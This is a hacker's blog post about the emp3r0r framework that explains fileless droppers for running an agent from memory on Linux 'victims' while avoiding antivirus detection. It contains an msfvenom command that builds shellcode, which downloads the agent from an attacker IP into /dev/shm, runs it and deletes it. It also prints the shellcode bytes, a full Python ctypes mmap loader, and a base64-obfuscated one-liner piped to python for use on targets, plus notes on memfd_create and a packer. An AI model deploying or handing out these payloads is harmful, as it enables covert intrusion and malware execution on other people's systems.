banner

what does a (good) dropper do

happy new year again my fellow hackers

i started writing emp3r0r almost one whole year ago, and by now it has gained some popularity (not much, i know). to make it more popular, more features are being developed and added, in this article i am going to introduce two of them: dropper and packer

so what does a dropper do?

in my understanding, a dropper drops things and executes them, a good dropper would leave as little trace as possible, which leads us to a popular topic:

run your agent from memory

background

in this case you leave nothing on your target's disk, and your program is (hopefully) invisible to your victim, or even better, to the antivirus software that your victim trusts

in Windows world, memory is normally not accessible via normal means, users have to use procdump or something similar to view what the hell is going on in their memory

but its not the case in Linux world, everything is a file as they call it, and so is your "pure memory based" file. if you had any doubt, please read procfs

even so, we still want our agents to run in memory, as its far less noticeable and much harder to investigate

from sektor7's research, i came up with several ideas

shellcode

what and how

i assume you all know what shellcode is. to deliver our shellcode to our target system, we can:

  • send it via some exploits, then run it directly in memory
  • compile the shellcode into some ELF file and run it (thus making it disk based)
  • encapsulate the shellcode in other means, and inject it into some process

we cover the third in this article

if you need a shellcode to start with, try:

$ msfvenom -b '\0' -e x64/xor -p linux/x64/exec CMD='lwp-download http://192.168.122.103/agent /dev/shm/agent && chmod 755 /dev/shm/agent && /dev/shm/agent;rm /dev/shm/agent;' -f raw -o shellcode.bin
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x64/xor
x64/xor succeeded with size 207 (iteration=0)
x64/xor chosen with final size 207
Payload size: 207 bytes
Saved as: shellcode.bin

to format this shellcode:

$ xxd -i shellcode.bin | grep 0x | tr -d '[:space:]' | tr -d ',' | sed 's/0x/\\x/g' | tee shellcode.txt
\x48\x31\xc9\x48\x81\xe9\xeb\xff\xff\xff\x48\x8d\x05\xef\xff\xff\xff\x48\xbb\x81\x1a\xc7\x23\xdf\x9a\xf3\xe9\x48\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xeb\x21\x9f\xba\x97\x21\xdc\x8b\xe8\x74\xe8\x50\xb7\x9a\xa0\xa1\x08\xfd\xaf\x0e\xbc\x9a\xf3\xa1\x08\xfc\x95\xcb\xa5\x9a\xf3\xe9\xed\x6d\xb7\x0e\xbb\xf5\x84\x87\xed\x75\xa6\x47\xff\xf2\x87\x9d\xf1\x20\xe8\x0c\xee\xa3\xc1\xc7\xb0\x2c\xff\x0d\xee\xa8\xc1\xc7\xb0\x2a\xf4\x0c\xbe\xfd\x96\x87\xf5\x3a\xe8\x47\xba\xec\xdc\x9a\xe9\x77\xe8\x42\xb8\xff\x9d\x9d\xa1\x3c\xe1\x03\xbc\xf2\x9e\x86\xe5\x3a\xf0\x16\xea\xba\xdc\x8d\xe4\x6c\xe8\x50\xb7\xf7\xdc\x88\xe6\x7f\xa9\x57\xff\xbc\xd5\xc9\xae\x7e\xa2\x55\xf0\xe9\x9b\x84\xae\x7b\xa0\x46\xb1\xee\xc8\x9b\xec\x3a\xe8\x47\xba\xec\xdc\x9a\xe9\x77\xe8\x42\xb8\xff\x9d\x9d\xba\x1a\x91\x74\x97\x13...

please note that this shellcode is not useful in most cases, its only a exec shellcode, what we need is download -> exec -> cleanup

shellcode delivery via python

lemme just quote sektor7:

Its functionality can be extended with many modules including ctypes , which provides C compatible data types and allows calling functions in DLLs or shared libraries. In other words, ctypes* enables* the construction of a C-like script, combining the power of external libraries and direct access to kernel syscalls**.

To run our shellcode in memory with Python, our script has to:

  • load the *libc* library into the Python process
  • mmap() a new W+X memory region for the shellcode
  • copy the shellcode into a newly allocated buffer
  • make the buffer 'callable' (casting)
  • and call the buffer

Below is the complete script (Python 2):

#!/usr/bin/python2

import ctypes
from ctypes.util import find_library
import sys

PROT_READ = 0x01
PROT_WRITE = 0x02
PROT_EXEC = 0x04
MAP_PRIVATE = 0X02
MAP_ANONYMOUS = 0X20
ENOMEM = -1

SHELLCODE = "{shellcode}"

libc = ctypes.CDLL(find_library('c'))

mmap = libc.mmap
mmap.argtypes = [ctypes.c_void_p, ctypes.c_size_t,
                 ctypes.c_int, ctypes.c_int, ctypes.c_int, ctypes.c_size_t]
mmap.restype = ctypes.c_void_p

page_size = ctypes.pythonapi.getpagesize()
sc_size = len(SHELLCODE)
mem_size = page_size * (1 + sc_size/page_size)

cptr = mmap(0, mem_size, PROT_READ | PROT_WRITE |
            PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS,
            -1, 0)

if cptr == ENOMEM:
    sys.exit("mmap")

if sc_size <= mem_size:
    ctypes.memmove(cptr, SHELLCODE, sc_size)
    sc = ctypes.CFUNCTYPE(ctypes.c_void_p, ctypes.c_void_p)
    call_sc = ctypes.cast(cptr, sc)
    call_sc(None)

this script basically runs our shellcode in a python process, its pretty much the same as script kids' favorite curl http://transfer.sh/my_dropper.sh | sh one liner, but we cant run shellcode in the latter approach, can we? (unfortunately we can, please read on)

here you might ask, how do we put such a lengthy script into one command?

dont worry, emp3r0r has got you covered:

# put your shellcode into shellcode.txt
$ ./gen.py shellcode.txt
echo "exec('CiMhL3Vzci9iaW4vcHl0aG9uMgoKaW1wb3J0IGN0eXBlcwppbXBvcnQgc3lzCmZyb20gY3R5cGVzLnV0aWwgaW1wb3J0IGZpbmRfbGlicmFyeQoKUFJPVF9SRUFEID0gMHgwMQpQUk9UX1dSSVRFID0gMHgwMgpQUk9UX0VYRUMgPSAweDA0Ck1BUF9QUklWQVRFID0gMFgwMgpNQVBfQU5PTllNT1VTID0gMFgyMApFTk9NRU0gPSAtMQoKU0hFTExDT0RFID0gIlx4NDhceDMxXHhjOVx4NDhceDgxXHhlOVx4ZWJceGZmXHhmZlx4ZmZceDQ4XHg4ZFx4MDVceGVmXHhmZlx4ZmZceGZmXHg0OFx4YmJceDgxXHgxYVx4YzdceDIzXHhkZlx4OWFceGYzXHhlOVx4NDhceDMxXHg1OFx4MjdceDQ4XHgyZFx4ZjhceGZmXHhmZlx4ZmZceGUyXHhmNFx4ZWJceDIxXHg5Zlx4YmFceDk3XHgyMVx4ZGNceDhiXHhlOFx4NzRceGU4XHg1MFx4YjdceDlhXHhhMFx4YTFceDA4XHhmZFx4YWZceDBlXHhiY1x4OWFceGYzXHhhMVx4MDhceGZjXHg5NVx4Y2JceGE1XHg5YVx4ZjNceGU5XHhlZFx4NmRceGI3XHgwZVx4YmJceGY1XHg4NFx4ODdceGVkXHg3NVx4YTZceDQ3XHhmZlx4ZjJceDg3XHg5ZFx4ZjFceDIwXHhlOFx4MGNceGVlXHhhM1x4YzFceGM3XHhiMFx4MmNceGZmXHgwZFx4ZWVceGE4XHhjMVx4YzdceGIwXHgyYVx4ZjRceDBjXHhiZVx4ZmRceDk2XHg4N1x4ZjVceDNhXHhlOFx4NDdceGJhXHhlY1x4ZGNceDlhXHhlOVx4NzdceGU4XHg0Mlx4YjhceGZmXHg5ZFx4OWRceGExXHgzY1x4ZTFceDAzXHhiY1x4ZjJceDllXHg4Nlx4ZTVceDNhXHhmMFx4MTZceGVhXHhiYVx4ZGNceDhkXHhlNFx4NmNceGU4XHg1MFx4YjdceGY3XHhkY1x4ODhceGU2XHg3Zlx4YTlceDU3XHhmZlx4YmNceGQ1XHhjOVx4YWVceDdlXHhhMlx4NTVceGYwXHhlOVx4OWJceDg0XHhhZVx4N2JceGEwXHg0Nlx4YjFceGVlXHhjOFx4OWJceGVjXHgzYVx4ZThceDQ3XHhiYVx4ZWNceGRjXHg5YVx4ZTlceDc3XHhlOFx4NDJceGI4XHhmZlx4OWRceDlkXHhiYVx4MWFceDkxXHg3NFx4OTdceDEzXHgxNVx4ZTZceDg0XHgxYVx4YzdceDIzXHhkZlx4OWFceGYzXHhlOSIKCmxpYmMgPSBjdHlwZXMuQ0RMTChmaW5kX2xpYnJhcnkoJ2MnKSkKCm1tYXAgPSBsaWJjLm1tYXAKbW1hcC5hcmd0eXBlcyA9IFtjdHlwZXMuY192b2lkX3AsIGN0eXBlcy5jX3NpemVfdCwKICAgICAgICAgICAgICAgICBjdHlwZXMuY19pbnQsIGN0eXBlcy5jX2ludCwgY3R5cGVzLmNfaW50LCBjdHlwZXMuY19zaXplX3RdCm1tYXAucmVzdHlwZSA9IGN0eXBlcy5jX3ZvaWRfcAoKcGFnZV9zaXplID0gY3R5cGVzLnB5dGhvbmFwaS5nZXRwYWdlc2l6ZSgpCnNjX3NpemUgPSBsZW4oU0hFTExDT0RFKQptZW1fc2l6ZSA9IHBhZ2Vfc2l6ZSAqICgxICsgc2Nfc2l6ZS9wYWdlX3NpemUpCgpjcHRyID0gbW1hcCgwLCBtZW1fc2l6ZSwgUFJPVF9SRUFEIHwgUFJPVF9XUklURSB8CiAgICAgICAgICAgIFBST1RfRVhFQywgTUFQX1BSSVZBVEUgfCBNQVBfQU5PTllNT1VTLAogICAgICAgICAgICAtMSwgMCkKCmlmIGNwdHIgPT0gRU5PTUVNOgogICAgc3lzLmV4aXQoIm1tYXAiKQoKaWYgc2Nfc2l6ZSA8PSBtZW1fc2l6ZToKICAgIGN0eXBlcy5tZW1tb3ZlKGNwdHIsIFNIRUxMQ09ERSwgc2Nfc2l6ZSkKICAgIHNjID0gY3R5cGVzLkNGVU5DVFlQRShjdHlwZXMuY192b2lkX3AsIGN0eXBlcy5jX3ZvaWRfcCkKICAgIGNhbGxfc2MgPSBjdHlwZXMuY2FzdChjcHRyLCBzYykKICAgIGNhbGxfc2MoTm9uZSkK'.decode('base64'))"|python


Run this one liner on your linux targets

heres a demo showing what it looks like to run emp3r0r agent with this method:

demo

shellcode delivery via dd

this method is able to run our shellcode in a shell script, wonderful, isnt it?

see sektor7 for detailed explanation

here i focus on weaponizing it

dd is a command-line utility for Unix and Unix-like operating systems, the primary purpose of which is to convert and copy files. On Unix, device drivers for hardware and special device files appear in the file system just like normal files; dd can also read and/or write from/to these files, provided that function is implemented in their respective driver.

--- from Wikipedia

TO BE CONTINUED

memfd and tmpfs

memfd

Linux added memfd_create syscall since 3.17, somehow it even works on my centos 7 box (which has 3.10)

memfd_create returns a fd (file descriptor) that can be used as a normal file descriptor, you can write your ELF file to it, and execute it as if its were on disk

feel free to implement this in your shellcode

sektor7 has a method involving dd and memfd_create, meaning you can use it just like the dd method, with pure shell script

tmpfs

in case you didnt know, /dev/shm is a chunk of shared memory mounted as tmpfs in most Linux distributions, unlike /tmp, which in most cases, isnt a part of memory

you can use /dev/shm just like any other filesystems mounted as rwx, and technically its a memory location, just a bit too obvious for hiding your evil stuff

caveats

we have to make:

  • dropper
  • shellcode
  • agent

all memory-based

i mean, if your shellcode downloads a file and stores it on disk, whats the point in all these work?

by using tmpfs like /dev/shm as a storage location, this issue seems solved

to make it fancier, we can do a memfd_create in our shellcode and launch the executable from there

a packer / cryptor

i made a packer to encrypt emp3r0r agent, and run it from an anonymous memory fd

packer


Comments

comments powered by Disqus